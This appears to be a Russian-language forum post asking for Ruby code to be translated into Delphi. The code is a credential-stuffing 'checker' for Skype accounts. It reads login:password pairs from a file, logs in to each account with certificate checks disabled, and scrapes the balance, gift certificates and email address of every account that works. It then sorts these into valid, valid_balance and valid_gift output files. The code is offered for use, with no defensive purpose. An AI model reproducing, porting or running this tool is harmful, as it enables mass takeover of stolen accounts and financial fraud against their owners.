Ruby -> Делфи

[Misho0k]

Добрый вечер уважаемые форумчани!

Помогите поджалуйста перевести когд в делфи

PHP код:

require 'net/http'  
require 'net/https'  

#распечатка резалтов  
def print_result(target, source)  
  fresult = File.new(target, "w")   
  default = $stdout  
  $stdout = fresult            
  source.each {|r|   
    puts r  
  }  
  $stdout = default                       
  fresult.close  
end  

#настраиваем соединение и включаем SSL  
http = Net::HTTP.new('secure.skype.com', 443)  
http.use_ssl = true  
http.verify_mode = OpenSSL::SSL::VERIFY_NONE  
path = '/store/member/login.html'  

valid=Array.new  
valid_balance=Array.new  
valid_gift=Array.new  
fsource = File.open("source.txt")  
begin  
  while (value = fsource.readline)  
    if value.any?  
      #value - это данные аккаунта  
      value= value.chomp  
      # тут получаем первоначальную куку  
      resp, data = http.get(path, nil)  

      # устанавливаем куку  
      cookie = resp.response['set-cookie']  

      # Данные для post-запроса  
      login, password=value.split(":")  
      data = "username=#{login}&password=#{password}"  
      headers = {  
        'Cookie' => cookie,  
        'Referer' => "https://secure.skype.com/store/myaccount",  
        'Content-Type' => 'application/x-www-form-urlencoded'  
      }  

      #сам post-запрос  
      resp, data = http.post(path, data, headers)  

      # 302 - редирект на страницу аккаунта  
      # может быть ищо 200 - не залогинило.  
      if resp.code == '302'  
        #заходим на страницу аккаунта  
        resp=http.get(resp['location'],headers)  
        #ищем строку про гифт-серты  
        gift_cert = resp.body.scan(%r{<a href="https://secure.skype.com/store/buy/giftcertificates.html">Skype Gift Certificates</a>}m)  
        #ищем строку с балансом  
        balance = resp.body.scan(%r{<strong id="skypeout-credit-balance">(.*?)</strong>}m)  
        #e-mail может когда-нить пригодится  
        email = resp.body.scan(%r{<font id="current-email">(.*?)</font>}m)  
    
          
        #сортируем гифт отдельно, пустые отдельно, балансы отдельно          
        if gift_cert.any?          
          valid_gift<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\  
 #{balance.to_s.gsub(/<[^>]*>/,"") if balance} Gift"   
        else  
          if balance.any?  
            valid_balance<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\  
 #{balance.to_s.gsub(/<[^>]*>/,"")}"   
          else  
            valid<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}"   
          end  
        end  
      end  
    end  
  end  
rescue EOFError  
  fsource.close  
end  

#выводим в файл  
print_result("valid.txt",valid)  
print_result("valid_balance.txt",valid_balance)  
print_result("valid_gift.txt",valid_gift)